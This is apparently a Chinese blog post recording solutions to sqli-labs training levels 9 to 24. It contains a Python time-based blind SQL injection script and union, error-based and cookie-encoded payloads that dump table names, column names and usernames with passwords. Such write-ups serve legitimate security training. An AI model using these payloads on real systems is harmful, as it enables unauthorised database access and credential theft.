sql-labs通关记录

less 9

这一关是考察盲注 先利用时间盲注观察闭合形式 之后用python脚本进行注入 我这里是ctfshow里面的题目 可以对照修改代码

点击查看代码
import requests

if __name__ == '__main__':
    url = 'http://sql/Less-9/?id=1%27'
    result = ''
    i = 0
    while True:
        i = i + 1
        low = 32
        high = 127

        while low < high:
            mid = (low + high) // 2
            #payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},sleep(0.3),0)%23'
            payload = f'and if(ascii(substr((select group_concat(table_name) from information_schema.tables ),{i},1))>{mid},sleep(0.3),0)%23'
            # payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagug"),{i},1))>{mid},sleep(0.1),0)%23'
            #payload = f'if(ascii(substr((select group_concat(flag4a23) from ctfshow.flagug),{i},1))>{mid},sleep(0.2),0)%23'
            # print(payload)
            r = requests.get(url=url + payload)

            try:
                r = requests.get(url=url + payload, timeout=0.15)  # 0.15s内必须返回结果,然后执行下面的语句,如果0.15s还没有结果,则执行except的内容
                high = mid
            except:
                low = mid + 1

        if low != 32:
            result += chr(low)
        else:
            break

        print(result)

less10

  • 只有闭合方式不同

less 11

  • 使用post提交数据

  • 爆表名

  • uname='union select (select group_concat(table_name) from information_schema.tables where table_schema=database() ),2 --+&passwd=123&Submit=Submit

  • 爆列名

  • uname='union select (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' ),2 --+&passwd=123&Submit=Submit

  • 注意点 users要加上单引号= =

  • 爆数据

  • uname='union select (select group_concat(username,'-',password) from users ),2 --+&passwd=123&Submit=Submit

  • 总结 本关除了post提交外并无新意

less 13

  • 本关 post 加上 没回显 可以用报错注入
  • 这里用的是floor报错
  • 先看看库名能否爆出
  • passwd=123&Submit=Submit&uname=admin') union select count(), concat_ws('-',(select database()),floor(rand(0)2)) as a from information_schema.tables group by a--+
  • 注意点 concat_ws里面 第二个数据要加上括号 as a 要写在from 的前面
  • 报表名
  • passwd=123&Submit=Submit&uname=admin') union select count(), concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema=database() ),floor(rand(0)2)) as a from information_schema.tables group by a--+
  • 其他无区别

less 18

  • 1'or updatexml(1,concat('#',(select database())),4),2,3)#
  • 第二种方法是 ' 语句 or'

less 19

  • ' or extractvalue(1,concat('#',(select database()))),2)#
  • 第二种方法是 ' 语句 or '

less21

  • 发现cookie是经过base64编码后的
  • 猜测sql查询语句里的cookie要经过base64解码
  • 单引号闭合
  • 所以把less19用的payload经过base64编码即可

less22

  • 与上一关只有闭合方式不同 这一题用双引号闭合

less23

  • 查看源码 发现过滤了-- 和#
  • 要闭合前后的单引号 所以沿用之前的 or '
  • 接下来就是正常的步骤 可以联合查询或者报错注入等方式

less24

posted @ 2024-01-17 21:41  DawnLM  阅读(30)  评论(0)    收藏  举报